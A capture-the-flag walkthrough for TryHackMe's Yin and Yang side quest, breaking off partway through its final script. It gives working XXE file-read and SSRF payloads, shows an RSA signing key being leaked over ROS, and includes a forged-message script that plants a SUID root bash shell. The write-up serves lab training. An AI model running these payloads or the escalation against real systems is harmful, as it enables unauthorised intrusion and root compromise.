Skip to content

TryHackMe - Side Quest 2 Yin and Yang Writeup

Introduction


OS: Linux

URL: Side Quest 2 Yin

URL: Side Quest 2 Yang

Level: Hard


Hack two machines; use one machine to gain access to the other.

Finding the keycard

I'll begin by assuming you've already completed Day 5 of the main Advent Of Cyber 2024 task titled Day 5: SOC-mas XX-what-ee?. If not, you can follow the linked video in the task to first complete it.

The last question in the task provides us a hint to look into any other open ports on the machine.

day5_xxe_hint.png

We know that /whishlist.php is vulnerable to XXE using the payload below.

day5_xxe_payload.png

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
    <user_id>1</user_id>
    <item>
        <product_id>&payload;</product_id>
    </item>
</wishlist>

Let's try to find all active listening ports and established TCP connections on the machine by reading the /proc/net/tcp file.

day5_xxe_read_proc_net_tcp.png

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/proc/net/tcp"> ]>
<wishlist>
    <user_id>1</user_id>
    <item>
        <product_id>&payload;</product_id>
    </item>
</wishlist>
The product ID:   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25303 1 0000000000000000 100 0 0 10 0                     
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 19100 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 27013 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27005 1 0000000000000000 100 0 0 10 0                     
   4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 25954 1 0000000000000000 100 0 0 10 0                     
   5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24558 1 0000000000000000 100 0 0 10 0                     
   6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000     0        0 31173 2 0000000000000000 100 0 0 10 -1                    
   7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000     0        0 30391 2 0000000000000000 20 4 8 10 -1                     
is invalid.

The second column contains the IP:port of the listening ports/established connections. Let's write a simple script to extract the IP:port from the output.

parse_ports.py
import re
import socket
import struct


output = """The product ID:   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25303 1 0000000000000000 100 0 0 10 0                     
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 19100 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 27013 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27005 1 0000000000000000 100 0 0 10 0                     
   4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 25954 1 0000000000000000 100 0 0 10 0                     
   5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24558 1 0000000000000000 100 0 0 10 0                     
   6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000     0        0 31173 2 0000000000000000 100 0 0 10 -1                    
   7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000     0        0 30391 2 0000000000000000 20 4 8 10 -1                     
is invalid."""

for line in output.splitlines():
    match = re.search(r'\d+: ([0-9A-F]{8}):([0-9A-F]{4}) ', line)
    if not match:
        continue
    ip, port = match.group(1), match.group(2)

    # check if the state is LISTEN
    if line.split()[3] != '0A':
        continue

    ip = socket.inet_ntoa(struct.pack('<L', int(ip, 16)))
    port = int(port, 16)

    print(f"{ip}:{port}")

Run the script, and we see few ports listening on the machine.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ python check_ports.py

127.0.0.1:8080
127.0.0.53:53
127.0.0.1:3306
0.0.0.0:22
127.0.0.1:33060
127.0.0.1:35201

Port 8080 looks interesting, and it's likely an HTTP web server running on that port.

The main server is running Apache/2.4.41 (Ubuntu) let's look into the Apache default configuration file /etc/apache2/sites-enabled/000-default.conf to see if there are any sites/ports are published.

day5_apache_config_error.png

We get an error Failed to parse XML when trying to include the file. This is likely due to the special chars in the file. Since the XXE is on a vulnerable PHP application, we should be able to use php filters to encode the contents into base64.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf"> ]>
<wishlist>
    <user_id>1</user_id>
    <item>
        <product_id>&payload;</product_id>
    </item>
</wishlist>

day5_apache_config_base64.png

Decode the base64 encoded output to get the contents of the file.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<VirtualHost *:80>
        [...SNIP...]
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        [...SNIP...]
</VirtualHost>

<VirtualHost 127.0.0.1:8080>
        ServerName 127.0.0.1
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/ssrf

        ErrorLog ${APACHE_LOG_DIR}/ssrf_error.log
        CustomLog ${APACHE_LOG_DIR}/ssrf_access.log combined

</VirtualHost>
[...SNIP...]

Access port 8008 using XXE

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:8080"> ]>
<wishlist>
    <user_id>1</user_id>
    <item>
        <product_id>&payload;</product_id>
    </item>
</wishlist>
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
[...SNIP...]
<a href="access.log">access.log</a></td><td align="right">2024-12-03 12:53  </td><td align="right">223 </td><td>&nbsp;</td></tr>
[...SNIP...]
<address>Apache/2.4.41 (Ubuntu) Server at localhost Port 8080</address>
</body></html>

Port 8080 is a basic index page with a link to access.log file.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:8080/access.log"> ]>
<wishlist>
    <user_id>1</user_id>
    <item>
        <product_id>&payload;</product_id>
    </item>
</wishlist>
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo REDACTERD | base64 -d
10.13.27.113 - - [18/Nov/2024:14:43:35 +0000] "GET /k3yZZZZZZZZZ/REDACTED.png HTTP/1.1" 200 194 "http://10.10.218.19/product.php?id=1" "Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0"

We get the link to keycard we can directly download the file from port 80

┌──(kali㉿kali)-[~/THM/sq2]
└─$ wget http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
--2024-12-28 19:04:49--  http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
Connecting to 10.10.95.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 86443 (84K) [image/png]
Saving to: ‘t2_sm1L3_4nD_w4v3_boyS.png’

t2_sm1L3_4nD_w4v3_boyS.png  100%[===========================================>]  84.42K   298KB/s    in 0.3s

2024-12-28 19:04:50 (298 KB/s) - ‘REDACTED.png’ saved [86443/86443]

sq_2_keycard.png


Recon

We are given SSH credentials for both machines.

Yin: 
    username: yin
    password: yang

Yang:
    username: yang
    password: yin

I'll start by setting two env vars yin and yang to the respective IP addresses of the machines.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yin=10.10.202.160

┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yang=10.10.238.51

Run a full port nmap scan on both machines.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yin -vv --min-rate=10000

PORT      STATE SERVICE REASON
21337/tcp open  unknown syn-ack ttl 60



┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap $yin -sC -sV -vv -p 21337

PORT      STATE SERVICE REASON         VERSION
21337/tcp open  http    syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Your Files Have Been Encrypted
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yang -vv --min-rate=10000

PORT      STATE SERVICE REASON
21337/tcp open  unknown syn-ack ttl 60

┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap  $yang -vv -sC -sV -p 21337

PORT      STATE SERVICE REASON         VERSION
21337/tcp open  http    syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
|_http-title: Your Files Have Been Encrypted
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS

Both machines have only one port (21337) open.

sq_2_yin_ransomware_keycard.png

sq_2_yang_ransomware_keycard.png

Both yin and yang on port 21337 have a ransomware note with a place to enter the decryption key.

The keycard password is accepted as the decryption key for both machines.

Let's scan the machine with nmap again.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yin -vv --min-rate=10000

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 60
21337/tcp open  unknown syn-ack ttl 60
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yang -vv --min-rate=10000

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 60
21337/tcp open  unknown syn-ack ttl 60

SSH ports on both machines are now open. Lets log in to the machines using the credentials provided.

┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yin@$yin

[email protected]'s password:
[...SNIP...]


yin@ip-10-10-202-160:~$ ls -la
total 40
drwxr-xr-x 4 yin  yin  4096 Dec  5 01:07 .
drwxr-xr-x 4 root root 4096 Dec  4 04:27 ..
-rw-r--r-- 1 yin  yin   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 yin  yin  3840 Dec  4 04:23 .bashrc
drwx------ 2 yin  yin  4096 Nov 28 20:25 .cache
-rw-r--r-- 1 yin  yin   807 Feb 25  2020 .profile
drwxrwxr-x 3 yin  yin  4096 Dec  4 23:15 .ros
-rw------- 1 yin  yin  6918 Dec  4 04:24 .viminfo
-rw-r--r-- 1 root root   54 Nov 28 21:42 where-to-find-yang.txt

yin@ip-10-10-202-160:~$ cat where-to-find-yang.txt
You can find YANG here: https://tryhackme.com/jr/yang

yin@ip-10-10-202-160:~$ sudo -l
Matching Defaults entries for yin on ip-10-10-202-160:
    mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, always_set_home

User yin may run the following commands on ip-10-10-202-160:
    (root) NOPASSWD: /catkin_ws/yin.sh
┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yang@$yang

[email protected]'s password:

yang@ip-10-10-238-51:~$ ls -la
total 32
drwxr-xr-x 4 yang yang 4096 Dec  5 02:06 .
drwxr-xr-x 4 root root 4096 Dec  4 04:33 ..
-rw-r--r-- 1 yang yang  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 yang yang 3840 Dec  4 04:28 .bashrc
drwx------ 2 yang yang 4096 Nov 28 21:38 .cache
-rw-r--r-- 1 yang yang  807 Feb 25  2020 .profile
drwxrwxr-x 3 yang yang 4096 Dec  4 04:33 .ros
-rw------- 1 yang yang  703 Dec  4 04:34 .viminfo

yang@ip-10-10-238-51:~$ sudo -l
Matching Defaults entries for yang on ip-10-10-238-51:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User yang may run the following commands on ip-10-10-238-51:
    (root) NOPASSWD: /catkin_ws/yang.sh

Both machines contain a folder named .ros.

Yin and Yang each have a script located in the /catkin_ws/ directory that can be run as root without a password.


Yin

I'll skip the initial enumeration on Yang as the steps are identical to Yin and knowing that Yin is the key to solve Yang (from solving the box prior). But the same steps apply to enumerating both machines.

Just trying to run the /catkin_ws/yin.sh script as root outputs a massage stating master node on localhost:11311 might not be running.

yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh
[ERROR] [1735438580.712662]: Unable to immediately register with master node [http://localhost:11311]: master may not be running yet. Will keep trying.

.ros folder in home directory contains a log folder.

yin@ip-10-10-62-75:~/.ros$ ls
log  roscore-11311.pid  rospack_cache_04654968594548113376

yin@ip-10-10-62-75:~/.ros$ cd log/

yin@ip-10-10-62-75:~/.ros/log$ ls
f6df61ea-b1f8-11ef-b77d-29fb64c99c22  fa0fcd0a-b1f8-11ef-b77d-29fb64c99c22  latest

yin@ip-10-10-62-75:~/.ros/log$ cd latest

yin@ip-10-10-62-75:~/.ros/log/latest$ ls
master.log  roslaunch-ip-10-10-193-66-84215.log  rosout-1-stdout.log  rosout.log

Checking each log file, the roslaunch-ip-10-10-193-66-84215.log contains some log information on how to start the master node.

yin@ip-10-10-62-75:~/.ros/log/latest$ cat roslaunch-ip-10-10-193-66-84215.log

[...SNIP...]
[roslaunch.parent][INFO] 2024-12-04 04:33:57,875: ... parent XML-RPC server started
[roslaunch][INFO] 2024-12-04 04:33:57,875: master.is_running[http://ip-10-10-193-66:11311/]
[roslaunch][INFO] 2024-12-04 04:33:57,878: auto-starting new master
[roslaunch][INFO] 2024-12-04 04:33:57,878: create_master_process: rosmaster, /opt/ros/noetic/share/ros, 11311, 3, None, False
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: launching with args [['rosmaster', '--core', '-p', '11311', '-w', '3']]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master] complete
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: starting os process
[...SNIP...]

Let's use the same command to run the master node on localhost:11311 and then run the yin.sh script.

//# We could run `rosmaster --core -p 11311 -w 3` but we can also use `roscore` which is a wrapper around `rosmaster`
yin@ip-10-10-62-75:~$ roscore
... logging to /home/yin/.ros/log/36ee53aa-c616-11ef-be5b-f356bc0e4411/roslaunch-ip-10-10-62-75-2234.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.

started roslaunch server http://ip-10-10-62-75:39303/
ros_comm version 1.16.0


SUMMARY
========

PARAMETERS
 * /rosdistro: noetic
 * /rosversion: 1.16.0

NODES

auto-starting new master
process[master]: started with pid [2242]
ROS_MASTER_URI=http://ip-10-10-62-75:11311/

setting /run_id to 36ee53aa-c616-11ef-be5b-f356bc0e4411
process[rosout-1]: started with pid [2252]
started core service [/rosout]


yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh

Note

Both the commands are run in different ssh sessions. You can either use tmux/screen or different ssh sessions depending on your preference.

Rerunning the yin.sh script runs without any errors but doesn't output anything.

Let's head back over to the .ros/log/latest directory and check the logs.

yin@ip-10-10-62-75:~/.ros/log/latest$ cat master.log


[rosmaster.master][INFO] 2024-12-29 19:03:40,924: Master initialized: port[11311], uri[http://ip-10-10-62-75:11311/]
[rosmaster.master][INFO] 2024-12-29 19:03:41,010: +PARAM [/run_id] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,011: +PARAM [/roslaunch/uris/host_ip_10_10_62_75__36823] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,102: +PARAM [/rosversion] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,103: +PARAM [/rosdistro] by /roslaunch
[...SNIP...]
rosmaster.master][INFO] 2024-12-29 19:03:42,591: +SUB [/rosout] /rosout http://ip-10-10-62-75:33525/
[rosmaster.master][INFO] 2024-12-29 19:03:56,628: +PUB [/messagebus] /yin http://ip-10-10-62-75:38497/
[rosmaster.master][INFO] 2024-12-29 19:03:56,725: +PUB [/rosout] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:03:56,731: +SERVICE [/svc_yang] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:04:19,558: +SUB [/messagebus] /rostopic_2004_1735499059424 http://ip-10-10-62-75:41129/

The master.log file contains logs indicating there are some mqtt like pub/sub topics being created.

We can use the rostopic command to list and subscribe to the topics.

yin@ip-10-10-62-75:~$ rostopic list
/messagebus
/rosout
/rosout_agg

yin@ip-10-10-62-75:~$ rostopic echo /messagebus
timestamp: "1735499424.7320056"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
  - touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "jkGrCNtX3pcHgvNm/Jva77WNu4NVyiGT9l2cVe161hzgpBfibF4j3MDCpznCDRuPWTJFvaPpbl6x...[TRUNCATED]"
---
[...SNIP...]

Every few seconds a message is being published to the /messagebus topic with the action to touch a file /home/yang/yin.txt.

Let's grep for messagebus in /catkin_ws script to see where it's referenced to see if we can see how the message is being published.

yin@ip-10-10-62-75:/catkin_ws$ grep -ir messagebus

src/yin/scripts/runyin.py:        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yin/scripts/runyin.py:        self.messagebus.publish(message)
grep: privatekey.pem: Permission denied
build/yin/catkin_generated/installspace/runyin.py:        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/installspace/runyin.py:        self.messagebus.publish(message)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp:        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp:        self.messagebus.publish(message)

runyin.py

Let's have a look at the file /catkin_ws/src/yin/scripts/runyin.py and understand each part of class Yin

runyin.py
class Yin:
    def __init__(self):

        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
  • self.messagebus is a Publisher object that publishes messages to the messagebus topic.
  • self.priv_key is a RSA private key object that is read from the /catkin_ws/privatekey.pem file.
  • self.secret is a secret read from the /catkin_ws/secret.txt file.
  • self.service is a Service object that listens for requests on the svc_yang topic and calls the handle_yang_request method when a request is received.
runyin.py
    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response
  • req.secret is checked to see if the secret sent in the request to svc_yang matches the self.secret read from the file.
  • any command sent in the request req.command is executed using os.system(action) if the secret is valid.
runyin.py
    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message
  • sign_message method takes a message object encodes all the contents of the message to base64 generates a SHA256 hash of the message and signs the hash using the RSA private key and returns the signed hmac.
runyin.py
    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['touch /home/yang/yin.txt']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)
  • craft_ping method creates a Comms object with the timestamp, sender, receiver, action, actionparams, feedback and hmac fields set.
  • send_pings uses Yin.craft_ping method to create a Comms object with the receiver set to Yang and calls the sign_message method to sign the message and then publishes the message to the messagebus topic.

Yang

Follow similar enumeration on Yang as we did on Yin.

yang@ip-10-10-24-255:~$ rostopic list
/messagebus
/rosout
/rosout_agg

yang@ip-10-10-24-255:~$ rostopic echo /messagebus

But we do not receive any messages on the /messagebus topic.

Let's see how the source of Yang differs from Yin.

yang@ip-10-10-24-255:/catkin_ws$ grep -ir messagebus
src/yang/scripts/runyang.py:        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yang/scripts/runyang.py:        rospy.Subscriber('messagebus', Comms, self.callback)
src/yang/scripts/runyang.py:        self.messagebus.publish(reply)
[...SNIP...]

yang@ip-10-10-24-255:/catkin_ws$ cat src/yang/scripts/runyang.py
[...SNIP...]

runyang.py

runyang.py
class Yang:
    def __init__(self):

        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yang')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        rospy.Subscriber('messagebus', Comms, self.callback)

The class Yang __init__ is similar to class Yin. The only exception being, instead of registering svc_yang service, class Yang subscribes to the messagebus topic.

runyang.py
    def callback(self, data):
        #First check to do is see if this is a message for us and one we need to respond to
        if (data.receiver != "Yang"):
            return

        #Now we know the message is for us. We can start system checks to see if it is a valid message
        if (not self.validate_message(data)):
            print ("Message could not be validated")
            return

        #Now we can action the message and send a reply
        for action in data.actionparams:
            os.system(action)

        [..SNIP...]

    def validate_message(self, message):
        valid = True
        #Only accept messages from the allfather
        if (message.sender != "Yin"):
            valid = False
            print ("Message is not from Yin")
            return valid
        [..SNIP...]
  • callback method is called when a message is received on the messagebus topic.
  • Checks that the receiver is Yang
  • further sends the message to validate_message method to check if the message is from Yin.
  • validate_message method also checks if the timestamp is within a second of the current time.
  • Then check if the hamc is valid by generating the hamc signature and comparing it with the received hamc.
  • If all checks pass, the commands in the actionparams are executed.
runyang.py
    def callback(self, data):
        [..SNIP...]
        #Now request an action from Yin
        self.yin_request()

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

        reply = self.sign_message(reply)

        self.messagebus.publish(reply)

    def yin_request(self):
        resp = ""
        rospy.wait_for_service('svc_yang')
        try:
            service = rospy.ServiceProxy('svc_yang', yangrequest)
            response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
        except rospy.ServiceException as e:
            print ("Failed: %s"%e)
        resp = response.response
        return resp
  • Right after the command is executed in callback method, yin_request method is called.
  • yin_request method waits for the svc_yang service to be available and then calls the service with the secret, command, sender and receiver.
  • once the call to yin_request is done, a new message to /messagebus is published with the contents of self.priv_key_str
yang@ip-10-10-24-255:/catkin_ws/src/yang/srv$ cat yangrequest.srv
string secret
string command
string sender
string receiver
---
string response

So to leak both secret and priv_key_str we need to send a message that validates to True in validate_message method and then register a service svc_yang to receive the secret.


Leaking the priv_key_str

Stop roscore and the /catkin_ws/yin.sh script on Yin

yin@ip-10-10-165-204:~$ roscore
... logging to /home/yin/.ros/log/b2ea4aa8-c75c-11ef-92fc-0d9b9cd76bc3/roslaunch-ip-10-10-165-204-1529.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt

[...SNIP...]

started core service [/rosout]
^C[rosout-1] killing on exit
[master] killing on exit
shutting down processing monitor...
... shutting down processing monitor complete
done

yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh
^C

yin@ip-10-10-165-204:~$ rostopic list
ERROR: Unable to communicate with master!

Only Yin receives messages /messagebus, but to leak the secret we need Yang to receive those messages.

Let's forward the rosmaster port 11311 from Yang to Yin using ssh port forwarding. Allowing us to use rosmaster running on Yang inside Yin.

Note

We could have just set an env var export ROS_MASTER_URI=http://<REMOTE_IP>:11311 to achieve the same result, but since env_reset is set in the sudo configuration we can't use sudo with env vars.

yin@ip-10-10-165-204:~$ sudo ROS_MASTER_URI=http://10.10.227.181:11311  /catkin_ws/yin.sh
sudo: sorry, you are not allowed to set the following environment variables: ROS_MASTER_URI

yin@ip-10-10-165-204:~$ ssh [email protected] -L 0.0.0.0:11311:0.0.0.0:11311

[email protected]'s password:
[...SNIP...]

//# note the below commands are run on `Yin`
yin@ip-10-10-165-204:~$ ss -lntp 
State   Recv-Q  Send-Q  Local             Address:Port  Process
LISTEN  0       128     0.0.0.0:11311     0.0.0.0:*     users:(("ssh",pid=2831,fd=4))
LISTEN  0       128     0.0.0.0:22        0.0.0.0:*
[...SNIP...]


yin@ip-10-10-165-204:~$ rostopic list
/messagebus
/rosout
/rosout_agg

yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/yang/get_loggers
/yang/set_logger_level

We can successfully connect to roscore running on Yang from Yin.

Start the /catkin_ws/yin.sh script. Since runyin.py registers svc_yang service, all the conditions for dumping the priv_key_str are met, and we just need to echo the /messagebus topic to get the priv_key_str.

yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh

yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/svc_yang
/yang/get_loggers
/yang/set_logger_level
/yin/get_loggers
/yin/set_logger_level


yin@ip-10-10-165-204:~$ rostopic echo /messagebus
timestamp: "1735641420.5522885"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
  - touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "RC6mvJZc8gP8vhjK4PfZ+lyM...[TRUNCATED]"
---
timestamp: "1735641419.7377985"
sender: "Yang"
receiver: "Yin"
action: 2
actionparams:
  - '-----BEGIN RSA PRIVATE KEY-----

    MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc

    PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks

    [...SNIP...]
    -----END RSA PRIVATE KEY-----'
feedback: "Action Done"
hmac: "omGs1O5/v2H6k3ZiXy/ZzhcCTQGQg...[TRUNCATED]"
---

Copy the private key and remove all the extra line breaks and save it to a file.

yin@ip-10-10-165-204:~$ cat test.key
-----BEGIN RSA PRIVATE KEY-----

    MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc

    PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks

    [...SNIP...]

//# A hacky way to remove extra lines and spaces using sed, Either use this command or do this yourself in your text editor.
yin@ip-10-10-165-204:~$ cat test.key | tr '\n' '\r' | sed 's/\r\r    /\n/g' | tr '\r' '\n' > private.key

yin@ip-10-10-165-204:~$ cat private.key
-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
-----END RSA PRIVATE KEY-----

//# verify that the key is valid
yin@ip-10-10-165-204:~$ openssl rsa -in private.key -text -noout
RSA Private-Key: (3072 bit, 2 primes)
modulus:
    00:b1:a5:03:78:b5:ee:88:5f:7f:7b:9d:d3:5e:ea:
    [...SNIP...]

Pwn Yang

Now that we have the private.key file we can use it to craft a message to Yang by modifying the actionparams to create a suid bash shell

Copy the /catkin_ws/src/yin/scripts/runyin.py file to our local machine and modify it a little to change the path of the private key and the command to be executed.

pwn_yang.py
#!/usr/bin/python3

import rospy
import base64
from yin.msg import Comms
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256


class PWNYang:
    def __init__(self):
        self.messagebus = rospy.Publisher("messagebus", Comms, queue_size=50)

        # Read the message channel private key
        pwd = b"secret"
        with open("private.key", "rb") as f:
            data = f.read()
            self.priv_key = RSA.import_key(data, pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node("pwnyang")

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())

    # This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode("utf-8"))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ["cp /bin/bash /tmp/bash; chmod u+s /tmp/bash"]
        # message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        message = self.craft_ping("Yang")
